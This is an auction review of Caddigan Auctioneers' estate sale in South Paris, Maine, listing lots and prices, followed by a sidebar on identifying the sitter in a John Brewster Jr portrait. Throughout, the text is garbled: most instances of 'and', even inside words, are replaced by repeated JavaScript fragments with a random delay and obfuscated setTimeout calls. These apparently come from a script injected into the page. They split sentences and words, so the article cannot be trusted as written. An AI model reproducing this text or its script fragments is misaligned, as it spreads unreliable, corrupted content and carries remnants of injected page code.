By: R. Scudder Smith

SOUTH PARIS, MAINE — “We are a long way from home, but it is great to be here in Maine to sell the contents of this untouched estate,” Joan F. Caddigan, auctioneer, said as she settled down to sell 163 cataloged lots, to be followed by many more uncataloged lots, on August 23. “We have made eight or ten trips up here from our home base in Hanover, Mass., to prepare this sale andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and you can make the day more enjoyable if we can get as much money as possible out of you,” she said with a big smile.

With that, she was off andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and running, selling lot one, a 23-inch-tall imperial dragon vase for $590, followed by two Canton 3-inch salts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a 5-inch high Cantonese pattern tankard, circa 1780–1810, for $206. All prices noted in this review, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and in the captions, include the buyer’s premium.

Three ladies’ evening bags mounted with silver rims went for $324, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Havillandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and bird series platter measuring 17½ by 10½ inches, together with eight bird series plates, 8 inches in diameter, sold for $1,062. An American William Adams dark blue platter with tree border, 16½ by 13 inches, sold for $826, while a Queen Anne tavern table with thin one-board top, tapered legs, brought $472.

A walrus tooth cribbage board, North Coast, heavily scrimshawed, made $1,770, a 3-by-5-foot Caucasian rug brought $472, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a zigzag flame stitch gentleman’s purse, circa 1750–1795, went for $295. The purse was followed by another gentleman’s purse, Irish flame stitch, Boston area, at $590.

A portrait believed to be of Mary Hart Prentiss andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and daughter, 1779, measuring 36 by 28 inches, sold for $1,180, while a female portrait, nonfamily member, by James Frothingham, 30½ by 25 inches, brought $531. A bid of $1,180 took the Federal mahogany secretary desk, Boston area, circa 1815–1830, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a five-piece sterling tea set, 69.15 troy ounces, went for $1,298.

A set of Bigelow andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Kennard flatware, 78.10 troy ounces, sold for $1,180; an Eighteenth Century lift top blanket chest with red wash finish was $472, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Federal four-drawer chest in mahogany, turret top, bowfront, brought $590. A Nineteenth Century antique Shiraz carpet, 3 feet 10 inches by 5 feet, took $3,894.

A pair of shield-form cobalt blue sconces with reverse painted eagles on cobalt glass, with gilt brass eagle pediment, circa 1890–1910, sold for $708, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape painting, oil on canvas, signed by J. Appleton Brown andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and measuring 16½ by 20½ inches, went for the same number.

A Nineteenth Century Turkish carpet with diamonds andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and hexagons, 50 by 43 inches, brought $2,006; a lot of sterling desk accessories, $885, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Shirvan scatter rug, 39 by 59 inches, made $944.

Among the uncataloged lots were a silver lobster tureen for $236, 12 Wedgwood dinner plates with Yale scenes at $118, six Limoges fish plates at $531, a brass bed warmer with peafowl decoration on the lid made $30, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 106 pieces of Coalport, including plates, cup, pitchers, etc, brought $944.

By 2:45 in the afternoon, 315 lots had been sold andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and many more, including both furniture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and accessories, were packed up andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and will be sold at a later date at Caddigan’s Hanover, Mass., site at 1130 Washington Street. For the auction in South Paris, Caddigan worked with Earl Gaudet of Huckleberry Trading Auctions of Gray, Maine.

For more information, www.caddiganauctioneers.com or 781-826-8648.

About Marcia Ingraham

SOUTH PARIS, MAINE — Hilda Kurtz, daughter of Ted Kurtz, the owner of the estate that was sold on August 23, including the portrait of Marcia Ingraham by John Brewster Jr, is a professor at the University of Georgia andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and has done research in tracing her family’s history.

She found that Harian Lane’s book, A Deaf Artist in America: The Worlds of John Brewster Jr, contains a catalog of all referenced or extant paintings by Brewster andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and among these he lists “Ingraham, little girls” in Thomaston in March 1823. Hezekiah Prince Jr’s journal of 1822–1829 shows that this is probably a slight error, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Hilda points out that Prince’s diary indicates that in 1823 “Mr. Brewster, a deaf andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and dumm man, came to my father’s this morning to take my portrait, he having painted Mr. Ruggles’, John Gleason’s andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Mr. Ingraham’s little girls, price for taking $10 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and boarded.”

Hilda points out that “the placement of the apostrophes suggests that Brewster painted portraits of the daughters of each of these three men, not a portrait of more than one girl in the same painting as Lane’s notation would seem to suggest.

She further notes that “John Henniker Ingraham andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his wife, Abigail (Cony) Ingraham, lived in Thomaston in 1823, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and had a 4-year-old daughter, Marcia Ingraham, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an infant son, George Tate Ingraham, at that time.” After checking the 1830 census, she found it showed only two other Ingraham families in Kennebec County, neither with female children of an age to have been the sitter for this portrait.

Lane notes that it was standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andard in the Eighteenth andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Nineteenth Century portraits of children to paint them to appear several years older than they actually were. Hilda said, “This research has surfaced a memory of a conversation with my mother in which I asked her who was the little girl in the portrait andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and she told me that her name was Marcia Ladd. I remember being surprised to hear the name Ladd, as I had never heard it in conversations about family history. Marcia Ingraham grew up andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and married George Washington Ladd [cite Ladd family genealogy].”